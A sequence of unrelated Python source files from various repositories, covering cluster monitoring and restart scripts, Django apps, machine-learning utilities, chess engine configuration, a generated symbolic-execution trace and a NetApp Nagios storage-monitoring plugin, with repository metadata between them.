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refs/heads/master

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#!/usr/bin/env python2 ## -*- coding: utf-8 -*- import sys def sx(bits, value): sign_bit = 1 << (bits - 1) return (value & (sign_bit - 1)) - (value & sign_bit) SymVar_0 = int(sys.argv[1]) ref_342 = SymVar_0 ref_353 = ref_342 # MOV operation ref_365 = ref_353 # MOV operation ref_367 = ref_365 # MOV operation ref_331345 = ref_367 # MOV operation ref_331357 = ref_331345 # MOV operation ref_331403 = ref_331345 # MOV operation ref_331447 = ref_331345 # MOV operation ref_331534 = (((rol(0xE, (rol(0xE, ((((((((((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) + ref_331357) & 0xFFFFFFFFFFFFFFFF) + 0x1F3D5B79) & 0xFFFFFFFFFFFFFFFF)) ^ ref_331403)) ^ 0x1F3D5B79) + ref_331447) & 0xFFFFFFFFFFFFFFFF) # MOV operation ref_527456 = ref_331534 # MOV operation ref_592749 = ref_527456 # MOV operation ref_788657 = ref_592749 # MOV operation ref_853947 = ref_788657 # MOV operation ref_853985 = ref_853947 # MOV operation ref_853997 = ref_853985 # MOV operation ref_853999 = ref_853997 # MOV operation print ref_853999 & 0xffffffffffffffff

[ "jonathan.salwan@gmail.com" ]

jonathan.salwan@gmail.com

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abha10/cloudera_monitors

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#!/usr/bin/python import ConfigParser, json, time, sys from cm_api.api_client import ApiResource from cm_api.endpoints.services import ApiService # Prep for reading config props from external file CONFIG = ConfigParser.ConfigParser() CONFIG.read("/etc/onlinesales/config/configCloudera.ini") # This is the host that the Cloudera Manager server is running on CM_HOST = CONFIG.get("CM", "cm.host") # CM admin account info ADMIN_USER = CONFIG.get("CM", "admin.name") ADMIN_PASS = CONFIG.get("CM", "admin.password") #### Cluster Definition ##### CLUSTER_NAME = CONFIG.get("CM", "cluster.name") CDH_VERSION = "CDH5" unhealthy_roles = [] def restart_role(service, API): try: for host in API.get_all_hosts(view='full'): arr_len = len(host.roleRefs) count = 0 i = 0 while i < arr_len: count = 0 while host.roleRefs[i].serviceName == service.name and service.get_role(host.roleRefs[i].roleName).healthSummary != "GOOD" and count < 2: print "RESTARTING "+ service.name+" ROLE - "+host.roleRefs[i].roleName + " on "+ host.hostname cmd = service.restart_roles(host.roleRefs[i].roleName) time.sleep(180) count +=1 print "ROLE STATE: " + host.roleRefs[i].roleName + " - " + service.get_role(host.roleRefs[i].roleName).healthSummary #### Check whether role has started successfully or not. if host.roleRefs[i].serviceName == service.name and (count >= 2 or service.get_role(host.roleRefs[i].roleName).healthSummary != "GOOD"): unhealthy_roles.append(host.roleRefs[i].roleName) i += 1 except Exception as api_ex: print api_ex exit(2) def restart_service(service, api): try: count = 0; while (service.healthSummary != "GOOD" and count < 2): cmd = service.restart().wait() count +=1 #### Check if service has started successfully or not if (count >=2 and service.healthSummary != "GOOD" ): print "Unable to restart Service: "+ service.name restart_cluster(api) else: print service.name +" service state: " + service.healthSummary except Exception as ex: print ex exit(2) def restart_cluster(API): try: # Get Cluster Health Status CLUSTER = API.get_cluster(CLUSTER_NAME) count = 0 while (CLUSTER.entityStatus != "GOOD_HEALTH" and count < 2): print "About to restart cluster." CLUSTER.restart().wait() print "Done restarting cluster." count +=1 if (CLUSTER.entityStatus != "GOOD_HEALTH" and count >= 2): print "Unable to restart cluster - " + CLUSTER.name exit(2) else: print CLUSTER_NAME+ " CLUSTER STATE: " + CLUSTER.entityStatus exit(0) except Exception as api_ex: print api_ex exit(2) ### Main function ### def main(): API = ApiResource(CM_HOST, version=16, username=ADMIN_USER, password=ADMIN_PASS) for c in API.get_all_clusters(): if c.version == "CDH5": cdh5 = c for s in cdh5.get_all_services(): restart_role(s,API) if (unhealthy_roles == []): print("ALL ROLES: OK") else: print("Following is the list of all unhealthy Roles:\n ") for role in unhealthy_roles: print("\n\t\t" + role) for s in cdh5.get_all_services(): restart_service(s,API) if __name__ == "__main__": main()

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from alexnet import alexnet

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import logging import pickle from itertools import chain from math import ceil from pathlib import Path from typing import List, Callable, Any import nmslib import wget from more_itertools import chunked from pathos.multiprocessing import Pool, cpu_count def save_file_pickle(fname: str, obj: Any): with open(fname, 'wb') as f: pickle.dump(obj, f) def load_file_pickle(fname: str): with open(fname, 'rb') as f: obj = pickle.load(f) return obj def read_training_files(data_path: str): """ Read data from directory """ PATH = Path(data_path) with open(PATH / 'train.function', 'r') as f: t_enc = f.readlines() with open(PATH / 'valid.function', 'r') as f: v_enc = f.readlines() # combine train and validation and let keras split it randomly for you tv_enc = t_enc + v_enc with open(PATH / 'test.function', 'r') as f: h_enc = f.readlines() with open(PATH / 'train.docstring', 'r') as f: t_dec = f.readlines() with open(PATH / 'valid.docstring', 'r') as f: v_dec = f.readlines() # combine train and validation and let keras split it randomly for you tv_dec = t_dec + v_dec with open(PATH / 'test.docstring', 'r') as f: h_dec = f.readlines() with open(PATH / 'train.api_seq', 'r') as f: t_api = f.readlines() with open(PATH / 'valid.api_seq', 'r') as f: v_api = f.readlines() tv_api = t_api + v_api with open(PATH / 'train.function_name', 'r') as f: t_fun = f.readlines() with open(PATH / 'valid.function_name', 'r') as f: v_fun = f.readlines() tv_fun = t_fun + v_fun with open(PATH / 'test.api_seq', 'r') as f: h_api = f.readlines() with open(PATH / 'test.function_name', 'r') as f: h_fun = f.readlines() logging.warning(f'Num rows for encoder training + validation input: {len(tv_enc):,}') logging.warning(f'Num rows for encoder holdout input: {len(h_enc):,}') logging.warning(f'Num rows for decoder training + validation input: {len(tv_dec):,}') logging.warning(f'Num rows for decoder holdout input: {len(h_dec):,}') return tv_enc, h_enc, tv_dec, h_dec, tv_api, h_api, tv_fun, h_fun def apply_parallel(func: Callable, data: List[Any], cpu_cores: int = None) -> List[Any]: """ Apply function to list of elements. Automatically determines the chunk size. """ if not cpu_cores: cpu_cores = cpu_count() try: chunk_size = ceil(len(data) / cpu_cores) pool = Pool(cpu_cores) transformed_data = pool.map(func, chunked(data, chunk_size), chunksize=1) finally: pool.close() pool.join() return transformed_data def flattenlist(listoflists: List[List[Any]]): return list(chain.from_iterable(listoflists)) processed_data_filenames = [ 'https://storage.googleapis.com/kubeflow-examples/code_search/data/test.docstring', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/test.function', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/test.lineage', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/test_original_function.json.gz', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/train.docstring', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/train.function', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/train.lineage', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/train_original_function.json.gz', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/valid.docstring', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/valid.function', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/valid.lineage', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/valid_original_function.json.gz', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/without_docstrings.function', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/without_docstrings.lineage', 'https://storage.googleapis.com/kubeflow-examples/code_search/data/without_docstrings_original_function.json.gz'] def get_step2_prerequisite_files(output_directory): outpath = Path(output_directory) assert not list(outpath.glob('*')), f'There are files in {str(outpath.absolute())},' \ f' please clear files or specify an empty folder.' outpath.mkdir(exist_ok=True) print(f'Saving files to {str(outpath.absolute())}') for url in processed_data_filenames: print(f'downloading {url}') wget.download(url, out=str(outpath.absolute())) def create_nmslib_search_index(numpy_vectors): """Create search index using nmslib. Parameters ========== numpy_vectors : numpy.array The matrix of vectors Returns ======= nmslib object that has index of numpy_vectors """ search_index = nmslib.init(method='hnsw', space='cosinesimil') search_index.addDataPointBatch(numpy_vectors) search_index.createIndex({'post': 2}, print_progress=True) return search_index

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"""project14 URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from app.views import * urlpatterns = [ path('admin/', admin.site.urls), path('bootstrap_cdn/',bootstrap_cdn,name='bootstrap_cdn'), path('bootstrap_download/',bootstrap_download,name='bootstrap_download'), path('carousel/',carousel,name='carousel'), ]

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# -*- coding: utf-8 -*- """ Created on Mon May 4 15:51:30 2020 This program is designed to validate a Random Forest model by using the KFOLD method @author: Michael Tadesse """ #import packages import os import glob import numpy as np import pandas as pd from sklearn import metrics from scipy import stats import seaborn as sns import matplotlib.pyplot as plt from datetime import datetime from sklearn.ensemble import RandomForestRegressor from sklearn.decomposition import PCA from sklearn.model_selection import KFold from sklearn.preprocessing import StandardScaler def validateRF(): """ run KFOLD method for regression """ #defining directories dir_in = "/lustre/fs0/home/mtadesse/merraAllLagged" dir_out = "/lustre/fs0/home/mtadesse/merraRFValidation" surge_path = "/lustre/fs0/home/mtadesse/05_dmax_surge_georef" #cd to the lagged predictors directory os.chdir(dir_in) x = 201 y = 202 #empty dataframe for model validation df = pd.DataFrame(columns = ['tg', 'lon', 'lat', 'num_year', \ 'num_95pcs','corrn', 'rmse']) #looping through for tg in range(x,y): os.chdir(dir_in) #filter only .csv files tgNames = [] for file in glob.glob("*.csv"): tgNames.append(file) tg_name = sorted(tgNames)[tg] print(tg_name) ########################################## #check if this tg is already taken care of ########################################## os.chdir(dir_out) if os.path.isfile(tg_name): print("this tide gauge is already taken care of") return "file already analyzed!" os.chdir(dir_in) #load predictor pred = pd.read_csv(tg_name) pred.drop('Unnamed: 0', axis = 1, inplace = True) #add squared and cubed wind terms (as in WPI model) pickTerms = lambda x: x.startswith('wnd') wndTerms = pred.columns[list(map(pickTerms, pred.columns))] wnd_sqr = pred[wndTerms]**2 wnd_cbd = pred[wndTerms]**3 pred = pd.concat([pred, wnd_sqr, wnd_cbd], axis = 1) #standardize predictor data dat = pred.iloc[:,1:] scaler = StandardScaler() print(scaler.fit(dat)) dat_standardized = pd.DataFrame(scaler.transform(dat), \ columns = dat.columns) pred_standardized = pd.concat([pred['date'], dat_standardized], axis = 1) #load surge data os.chdir(surge_path) surge = pd.read_csv(tg_name) surge.drop('Unnamed: 0', axis = 1, inplace = True) #remove duplicated surge rows surge.drop(surge[surge['ymd'].duplicated()].index, axis = 0, inplace = True) surge.reset_index(inplace = True) surge.drop('index', axis = 1, inplace = True) #adjust surge time format to match that of pred time_str = lambda x: str(datetime.strptime(x, '%Y-%m-%d')) surge_time = pd.DataFrame(list(map(time_str, surge['ymd'])), columns = ['date']) time_stamp = lambda x: (datetime.strptime(x, '%Y-%m-%d %H:%M:%S')) surge_new = pd.concat([surge_time, surge[['surge', 'lon', 'lat']]], axis = 1) #merge predictors and surge to find common time frame pred_surge = pd.merge(pred_standardized, surge_new.iloc[:,:2], on='date', how='right') pred_surge.sort_values(by = 'date', inplace = True) #find rows that have nans and remove them row_nan = pred_surge[pred_surge.isna().any(axis =1)] pred_surge.drop(row_nan.index, axis = 0, inplace = True) pred_surge.reset_index(inplace = True) pred_surge.drop('index', axis = 1, inplace = True) #in case pred and surge don't overlap if pred_surge.shape[0] == 0: print('-'*80) print('Predictors and Surge don''t overlap') print('-'*80) continue pred_surge['date'] = pd.DataFrame(list(map(time_stamp, \ pred_surge['date'])), \ columns = ['date']) #prepare data for training/testing X = pred_surge.iloc[:,1:-1] y = pd.DataFrame(pred_surge['surge']) y = y.reset_index() y.drop(['index'], axis = 1, inplace = True) #apply PCA pca = PCA(.95) pca.fit(X) X_pca = pca.transform(X) #apply 10 fold cross validation kf = KFold(n_splits=10, random_state=29) metric_corr = []; metric_rmse = []; #combo = pd.DataFrame(columns = ['pred', 'obs']) for train_index, test_index in kf.split(X): X_train, X_test = X_pca[train_index], X_pca[test_index] y_train, y_test = y['surge'][train_index], y['surge'][test_index] #train regression model rf= RandomForestRegressor(n_estimators = 50, random_state = 101, \ min_samples_leaf = 1) rf.fit(X_train, y_train) #predictions predictions = rf.predict(X_test) # pred_obs = pd.concat([pd.DataFrame(np.array(predictions)), \ # pd.DataFrame(np.array(y_test))], \ # axis = 1) # pred_obs.columns = ['pred', 'obs'] # combo = pd.concat([combo, pred_obs], axis = 0) #evaluation matrix - check p value if stats.pearsonr(y_test, predictions)[1] >= 0.05: print("insignificant correlation!") continue else: print(stats.pearsonr(y_test, predictions)) metric_corr.append(stats.pearsonr(y_test, predictions)[0]) print(np.sqrt(metrics.mean_squared_error(y_test, predictions))) print() metric_rmse.append(np.sqrt(metrics.mean_squared_error(y_test, predictions))) #number of years used to train/test model num_years = (pred_surge['date'][pred_surge.shape[0]-1] -\ pred_surge['date'][0]).days/365 longitude = surge['lon'][0] latitude = surge['lat'][0] num_pc = X_pca.shape[1] #number of principal components corr = np.mean(metric_corr) rmse = np.mean(metric_rmse) print('num_year = ', num_years, ' num_pc = ', num_pc ,'avg_corr = ',np.mean(metric_corr), ' - avg_rmse (m) = ', \ np.mean(metric_rmse), '\n') #original size and pca size of matrix added new_df = pd.DataFrame([tg_name, longitude, latitude, num_years, num_pc, corr, rmse]).T new_df.columns = ['tg', 'lon', 'lat', 'num_year', \ 'num_95pcs','corrn', 'rmse'] df = pd.concat([df, new_df], axis = 0) #save df as cs - in case of interruption os.chdir(dir_out) df.to_csv(tg_name) #run script validateRF()

[ "michaelg.tadesse@gmail.com" ]

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BenisonSam/chessprime

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""" Contains the set of configs to use for the "normal" version of the app. """ class EvaluateConfig: def __init__(self): self.vram_frac = 1.0 self.game_num = 50 self.replace_rate = 0.55 self.play_config = PlayConfig() self.play_config.simulation_num_per_move = 200 self.play_config.thinking_loop = 1 self.play_config.c_puct = 1 # lower = prefer mean action value self.play_config.tau_decay_rate = 0.6 # I need a better distribution... self.play_config.noise_eps = 0 self.evaluate_latest_first = True self.max_game_length = 1000 class PlayDataConfig: def __init__(self): self.min_elo_policy = 500 # 0 weight self.max_elo_policy = 1800 # 1 weight self.sl_nb_game_in_file = 250 self.nb_game_in_file = 50 self.max_file_num = 150 class PlayConfig: def __init__(self): self.max_processes = 3 self.search_threads = 16 self.vram_frac = 1.0 self.simulation_num_per_move = 800 self.thinking_loop = 1 self.logging_thinking = False self.c_puct = 1.5 self.noise_eps = 0.25 self.dirichlet_alpha = 0.3 self.tau_decay_rate = 0.99 self.virtual_loss = 3 self.resign_threshold = -0.8 self.min_resign_turn = 5 self.max_game_length = 1000 class TrainerConfig: def __init__(self): self.min_data_size_to_learn = 0 self.cleaning_processes = 5 # RAM explosion... self.vram_frac = 1.0 self.batch_size = 384 # tune this to your gpu memory self.epoch_to_checkpoint = 1 self.dataset_size = 100000 self.start_total_steps = 0 self.save_model_steps = 25 self.load_data_steps = 100 self.loss_weights = [1.25, 1.0] # [policy, value] prevent value overfit in SL class ModelConfig: cnn_filter_num = 256 cnn_first_filter_size = 5 cnn_filter_size = 3 res_layer_num = 7 l2_reg = 1e-4 value_fc_size = 256 distributed = False input_depth = 18

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from __future__ import unicode_literals from django.db import models from ..courses.models import Course from ..loginandreg.models import User from django.db.models import Count # Create your models here. class UserCourseManager(models.Manager): def addUserToCourse(self, object): user_id = object['users'] user = User.objects.get(id=user_id) course_id = object['courses'] course = Course.objects.get(id=course_id) UserCourse.objects.create(user_id=user, course_id=course) return {'success' : 'User added to course'} class UserCourse(models.Model): user_id = models.ForeignKey(User, null=True, related_name="reg_users") course_id = models.ForeignKey(Course, related_name="reg_courses") created_at = models.DateTimeField(auto_now_add=True, null=True) updated_at = models.DateTimeField(auto_now=True) objects = UserCourseManager()

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2023-07-05T01:00:27.215293

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from django.contrib.auth.models import AbstractUser from django.db import models from ccms.managers import CCMSUserManager class CCMSUser(AbstractUser): """ Custom user model for the City Complaints Management System. """ user_id = models.AutoField(primary_key=True) username = None first_name = None last_name = None email = models.EmailField(unique=True, null=False, blank=False, db_column='email') cell_no = models.CharField(unique=True, max_length=14, null=True, blank=True) name = models.CharField(max_length=25, null=True, blank=True) address = models.TextField(null=True, blank=True) is_employee = models.BooleanField(default=False) USERNAME_FIELD = 'email' REQUIRED_FIELDS = [] objects = CCMSUserManager() class Meta: db_table = 'ccms_users' def __str__(self): if self.name is None: return f"{self.email}" else: return f"{self.name}" class Categories(models.Model): category_id = models.AutoField(primary_key=True, unique=True) category = models.CharField(max_length=25) keyword = models.CharField(max_length=25) class Meta: db_table = 'ccms_categories' def __str__(self): return f"{self.category} {self.keyword}" class Complaints(models.Model): complaints_id = models.BigAutoField(primary_key=True, unique=True) time_submitted = models.DateTimeField(auto_now_add=True) time_last_updated = models.DateTimeField(auto_now=True) citizen_id = models.ForeignKey(CCMSUser, on_delete=models.CASCADE) description = models.TextField(null=True, blank=False) category_id = models.ForeignKey(Categories, on_delete=models.CASCADE) status = models.CharField(null=True, max_length=30, default='Submitted') location = models.TextField(null=True) class Meta: db_table = 'ccms_complaints' def __str__(self): return f"{self.description}" def citizen_name(self): return self.citizen_id.name def category_name(self): return self.category_id.category

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fountaein@yandex.com

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from django.contrib.messages.api import error from django.shortcuts import render from datetime import datetime from django.db.models import Sum import json from inventory.clients.models import ProductSale, Sale # Create your views here. def FirstDayOfMonth(): return datetime.today().replace(day=1).replace(hour=00).replace(minute=00).replace(second=00) def serialize(objects, name): array="[" for object in objects: array+=str(object[name])+"," array=(array[:-1]) array+="]" return array def sales_month(firstdayofmonth): ventas=Sale.objects.extra(select={'dia':'EXTRACT(DAY FROM datetime)', 'total':'total'}).filter(datetime__gte=firstdayofmonth).values('datetime__day').annotate(total=Sum('total')).order_by('datetime__day') #print('.........') #print(str(ventas.query)) return ('{"title": {"text": "Ventas del Mes"},"tooltip": {"trigger": "axis"},"legend": {"data": ["Ventas"]},"grid": {"left": "3%","right": "4%","bottom": "3%","containLabel": "true"},"toolbox": {"show": "true","feature": {"dataZoom": {"yAxisIndex": "none"},"dataView": { "readOnly": "false" },"magicType": { "type": ["line", "bar"] },"restore": {},"saveAsImage": {}}},"xAxis": {"type": "category","boundaryGap": "false","data": '+serialize(ventas, 'datetime__day')+'},"yAxis": {"type": "value"},"series": [{"name": "Ventas","type": "line","stack": "Total","data": '+serialize(ventas,'total')+'}]}') def product_most(firstdayofmonth): #pubs=ProductSale.objects.select_related('sale', 'product', 'product__producttype', 'product__producttype__category').values_list('sale_id', 'product_id','product__producttype_id', 'product__producttype__category_id', 'product__producttype__category__name', 'sale__datetime') #pubs=ProductSale.objects.select_related('sale', 'product', 'product__producttype', 'product__producttype__category').values_list('product__producttype_id', 'product__producttype__name', 'product__producttype__category_id', 'product__producttype__category__name', 'quantity', 'total', 'sale_id', 'product_id', 'sale__datetime') #pubs=ProductSale.objects.filter(sale__datetime__gte=firstdayofmonth).select_related('sale', 'product', 'product__producttype', 'product__producttype__category').values_list('product__producttype_id', 'product__producttype__name', 'product__producttype__category_id', 'product__producttype__category__name', 'quantity', 'total', 'sale__datetime') pubs=ProductSale.objects.filter(sale__datetime__gte=firstdayofmonth).select_related('sale', 'product', 'product__producttype', 'product__producttype__category').values_list('product__producttype_id', 'product__producttype__name', 'quantity', 'total').values('product__producttype_id', 'product__producttype__name').annotate(productos=Sum('quantity')).annotate(total=Sum('total')).order_by('productos') hola=None if (len(pubs)>0): hola=pubs[len(pubs)-1] #print(hola) return hola def product_worst(firstdayofmonth): pubs=ProductSale.objects.filter(sale__datetime__gte=firstdayofmonth).select_related('sale', 'product', 'product__producttype', 'product__producttype__category').values_list('product__producttype_id', 'product__producttype__name', 'quantity', 'total').values('product__producttype_id', 'product__producttype__name').annotate(productos=Sum('quantity')).annotate(total=Sum('total')).order_by('productos') hola=None if (len(pubs)>0): hola=pubs[0] #print(hola) return hola def dashboard(request): option=[] name=[] firstdayofmonth=FirstDayOfMonth() #Grafico de ventas del mes name.append('id_0') option.append(sales_month(firstdayofmonth)) json_option = json.dumps(option) json_name = json.dumps(name) context = { 'options' :json_option , 'names':json_name, 'most_product':product_most(firstdayofmonth), 'worst_product':product_worst(firstdayofmonth), } return render(request,"dashboard/dashboard.html",context)

[ "jmateo.cys@gmail.com" ]

jmateo.cys@gmail.com

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/Forum/TestAPI/post/PostDetail.py

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no_license

ArturAmbartsumov/DBProject

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12f58c51d02fc181fe5b09203430e6503ab8de46

refs/heads/master

2021-01-20T06:27:43.399475

2014-07-06T01:12:52

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null

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Python

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224

py

import json import requests payload = {'related': ['user', 'forum', 'thread'], 'post': '6'} url = 'http://127.0.0.1:8000/post/details/' r = requests.get(url, params = payload) print r.status_code #print r.text print r.json()

[ "Artur_pskov@mail.ru" ]

Artur_pskov@mail.ru

e82a53d75ae0617ec841adac5d5a66b3bdd1931e

3edec2ab1fe22a5aa8a72583597c3797200b5420

/plugins/Check_SANtricity_Volume_Status_BYCON.py

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[]

no_license

dupondje/netapp_santricity_nagios

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8ab202ea01893457b5211ee2b69248362bb5e516

refs/heads/master

2022-04-30T19:30:18.976906

2017-07-13T09:36:26

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2022-03-22T09:51:44

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#!/usr/bin/python # Copyright 2015 NetApp Inc. All rights reserved. import sys import csv import logging import SANtricityStorage from logging.handlers import RotatingFileHandler serverUrl = "https://10.0.1.30:8443" mode = "" listMode = {"RIOP": "readIOps", "WIOP": "writeIOps", "RLAT": "readResponseTime", "WLAT": "writeResponseTime", "RTHP": "readThroughput", "WTHP": "writeThroughput"} dirmsg = {"RIOP": "Read IOP", "WIOP": "Write IOP", "RLAT": "Read Latency", "WLAT": "Write Latency", "RTHP": "Read Throughput", "WTHP": "Write Throughput"} dirunit = {"RIOP": "MS", "WIOP": "MS", "RLAT": "MS", "WLAT": "MS", "RTHP": "B", "WTHP": "B"} urlToServer = serverUrl + "/devmgr/v2" loginUrl = serverUrl + "/devmgr/utils" logging.basicConfig(format='%(asctime)s - %(name)s : %(message)s', filename='/tmp/nagios-python.log', level=logging.INFO) handler = RotatingFileHandler('/tmp/nagios-python.log', maxBytes=SANtricityStorage.maxbytes, backupCount=20) high = 95.0 low = 0.0 range = "" username = "rw" password = "rw" warningdrive=0 criticaldrive=0 stat = 0 hostipaddress = "" logger = logging.getLogger("VOLUMESTATBYCONT") logger.setLevel(logging.INFO) logger.addHandler(handler) def get_volume_info(arrayid, controllerids, sessionid, arrayinfo): global total global stat global warningdrive global criticaldrive try: logger.debug("In Volume INFO") lstOfArraySys = [] lstOfArraySys = SANtricityStorage.get_data_from_REST(urlToServer, sessionid, arrayid, "analysed-volume-statistics") if lstOfArraySys and len(lstOfArraySys) > 0: logger.debug("Response received") logger.debug(len(lstOfArraySys)) dirdata = {} arrayidwiseinfo = arrayinfo[arrayid] controllername = arrayidwiseinfo["controllerLabel"] keytofatch = listMode[mode] for lst in lstOfArraySys: if lst["controllerId"] not in dirdata: dirdata[lst["controllerId"]] = {"readIOP": 0} cntconwise = 0 logger.debug( "Volume Id : " + lst["volumeId"] + ", controllerId : " + lst["controllerId"] + ", poolId : " + lst[ "poolId"] + ", " + keytofatch + " : " + str(round(lst[keytofatch], 2))) cntconwise = (dirdata[lst["controllerId"]])["readIOP"] if mode == "RTHP" or mode == "WTHP": # cntconwise+=(lst[keytofatch] /(1024*1024)) cntconwise += round(lst[keytofatch], 2) else: # cntconwise+=lst[keytofatch]/1000 cntconwise += round(lst[keytofatch], 2) (dirdata[lst["controllerId"]])["readIOP"] = cntconwise strOutPut = "" strPerData = "" showoutput = False total =len(controllerids) for lstContId in controllerids: lstrContData = dirdata[lstContId] contwiseLat = lstrContData["readIOP"] if (range== "low" and contwiseLat <=low and contwiseLat >high) or (range =="high" and contwiseLat >=low and contwiseLat <high): if stat < 1: stat = 1 warningdrive +=1 showoutput = True elif (range == "low" and contwiseLat <= high) or (range == "high" and contwiseLat >=high): if stat < 2: stat = 2 showoutput = True criticaldrive +=1 contwiseLat = round(contwiseLat, 2) if showoutput: strOutPut += "\nArray Name : " + arrayidwiseinfo["arrayName"] + ", Controller Name : " + \ controllername[lstContId] + ", " + dirmsg[mode] + " : " + str(contwiseLat) strPerData += arrayidwiseinfo["arrayName"] + "-" + controllername[lstContId] + "=" + str(contwiseLat) + \ dirunit[mode] + ";" + str(low) + ":" + str(low) + ";@" + str(low) + ":" + str(high) + "; " showoutput = False dirdata["strOutPut"] = strOutPut dirdata["strPerData"] = strPerData return dirdata else: print "STATUS UNKNOWN - No details fetched from the array." sys.exit(3) except Exception, err: logger.error("Error in get volume info", exc_info=True) # return False def getVolumeState(): global stat sessionId = SANtricityStorage.login(loginUrl,username,password) logger.debug("In getVolume State method") SANtricityStorage.getStorageSystemDetails(urlToServer, sessionId, SANtricityStorage.getTime()) file = SANtricityStorage.getStoragePath() + "/controller.csv" fileForRead = open(file, "rb") csvReader = csv.reader(fileForRead, delimiter=",") firstLine = True currentArrayId = "" controllerId = [] arrayInfo = {} strResultData = "" strResultPerData = "" lstResult = [] controllerName = {} arrayId = "" for row in csvReader: if firstLine: headerList = row firstLine = False else: if hostipaddress and ( row[headerList.index("ip1")] == hostipaddress or row[headerList.index("ip2")] == hostipaddress): controllerId.append(row[headerList.index("controllerRef")]) controllerName[row[headerList.index("controllerRef")]] = row[headerList.index("controllerLabel")] arrayId = row[headerList.index("arrayId")] arrayInfo[arrayId] = {"arrayName": row[headerList.index("arrayName")], "controllerLabel": controllerName} elif hostipaddress == "": arrayId = row[headerList.index("arrayId")] arrayInfo[arrayId] = {"arrayName": row[headerList.index("arrayName")], "controllerLabel": controllerName} if currentArrayId <> arrayId and len(controllerId) <> 0: (arrayInfo[currentArrayId])["controllerLabel"] = controllerName lstResult.append(get_volume_info(currentArrayId, controllerId, sessionId, arrayInfo)) controllerId = [] controllerName = {} controllerId.append(row[headerList.index("controllerRef")]) controllerName[row[headerList.index("controllerRef")]] = row[headerList.index("controllerLabel")] elif currentArrayId <> arrayId: controllerId = [] controllerName = {} controllerId.append(row[headerList.index("controllerRef")]) controllerName[row[headerList.index("controllerRef")]] = row[headerList.index("controllerLabel")] else: controllerId.append(row[headerList.index("controllerRef")]) controllerName[row[headerList.index("controllerRef")]] = row[headerList.index("controllerLabel")] currentArrayId = arrayId if arrayId: (arrayInfo[arrayId])["controllerLabel"] = controllerName lstResult.append(get_volume_info(arrayId, controllerId, sessionId, arrayInfo)) firstPerData = "" firstLine = True for listEle in lstResult: strResultData += listEle["strOutPut"] if firstLine: firstPerData = listEle["strPerData"] strArry = firstPerData.split(" ") firstPerData = strArry[0] strResultPerData += strArry[1] + " " firstLine = False else: strResultPerData += listEle["strPerData"] strResultPerData = strResultPerData.strip() strResultData = "\nThreshold Values - Range Selector : "+range +", Warning : " + str(low) + ", Critical : " \ + str(high)+"\nVolume Statistics by Controller\nTotal : "+str(total)+", OK : "+\ str(total -(warningdrive +criticaldrive))+", Warning : "+str(warningdrive)+\ ", Critical : "+str(criticaldrive) + strResultData if stat == 0: strResult = "OK - All controllers are within defined threshold.|" + firstPerData + "\n" + strResultData + "|" + strResultPerData elif stat == 1: strResult = "Warning - Some controllers are functioning at threshold values.|" + firstPerData + "\n" + strResultData + "|" + strResultPerData elif stat == 2: strResult = "Critical - Some controllers are out side threshold values.|" + firstPerData + "\n" + strResultData + "|" + strResultPerData else: stat = 3 strResult = "Unknown - Host Ip is not configured with web proxy" fileForRead.close() return strResult try: logger.info("Hi in file") if len(sys.argv) < 8: print "STATUS UNKNOWN - Required parameters not set" sys.exit(3) else: nextelearg = False argmap = {"mode": "", "hostIp": "", "proxyUrl": "", "warning": "", "critical": "","r":"","username":"","password":""} argname = "" for element in sys.argv: if element.endswith(".py"): continue elif nextelearg: argmap[argname] = element nextelearg = False elif element == "-mode": nextelearg = True argname = "mode" elif element == "-warning": nextelearg = True argname = "warning" elif element == "-critical": nextelearg = True argname = "critical" elif element == "-h": nextelearg = True argname = "hostIp" elif element == "-webproxy": nextelearg = True argname = "proxyUrl" elif element == "-username": nextelearg = True argname = "username" elif element == "-password": nextelearg = True argname = "password" elif element == "-r": nextelearg = True argname = "r" elif element == "-debug": logger = logging.getLogger("VOLUMESTATBYCONT") logger.setLevel(logging.DEBUG) logger.addHandler(handler) else: print "Invalid arguments passed" sys.exit(3) serverUrl = "https://" + argmap["proxyUrl"]; urlToServer = serverUrl + "/devmgr/v2" loginUrl = serverUrl + "/devmgr/utils" if argmap["r"] != "": range = argmap["r"] else: print "STATUS UNKNOW - No range selector defined." sys.exit(3) if range != "low" and range != "high": print "STATUS UNKNOW - Incorrect value for range selector. It must be either \"low\" or \"high\". " sys.exit(3) try: low = float(argmap["warning"]) except Exception, err: print "STATUS UNKNOWN - Warning threshold must be numeric" sys.exit(3) try: high = float(argmap["critical"]) except Exception, err: print "STATUS UNKNOWN - Critical threshold must be numeric" sys.exit(3) if (range == "high" and low >= high) or (range == "low" and low <= high): print 'STATUS UNKNOWN - Incorrect value for warning and critical threshold' sys.exit(3) if argmap["username"] !="": global username username = argmap["username"] if argmap["password"] !="": global password password = argmap["password"] mode = argmap["mode"]; try: index = listMode[mode]; except: print "STATUS UNKNOWN - Incorrect value for mode" sys.exit(3) hostipaddress = argmap["hostIp"] logger.debug("Low Threshold:" + str(low)) logger.debug("High Threshold:" + str(high)) logger.debug("Server URL:" + serverUrl) logger.debug("Host Add" + hostipaddress) logger.debug("Mode:" + mode) str = getVolumeState() print str sys.exit(stat) except Exception, err: logger.error("Error inside get volume stat by controller", exc_info=True) print "STATUS UNKNOWN" sys.exit(3)

[ "jean-louis@dupond.be" ]

jean-louis@dupond.be

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/ProTwo/AppTwo/urls.py

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permissive

imrk97/Learning_django

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refs/heads/master

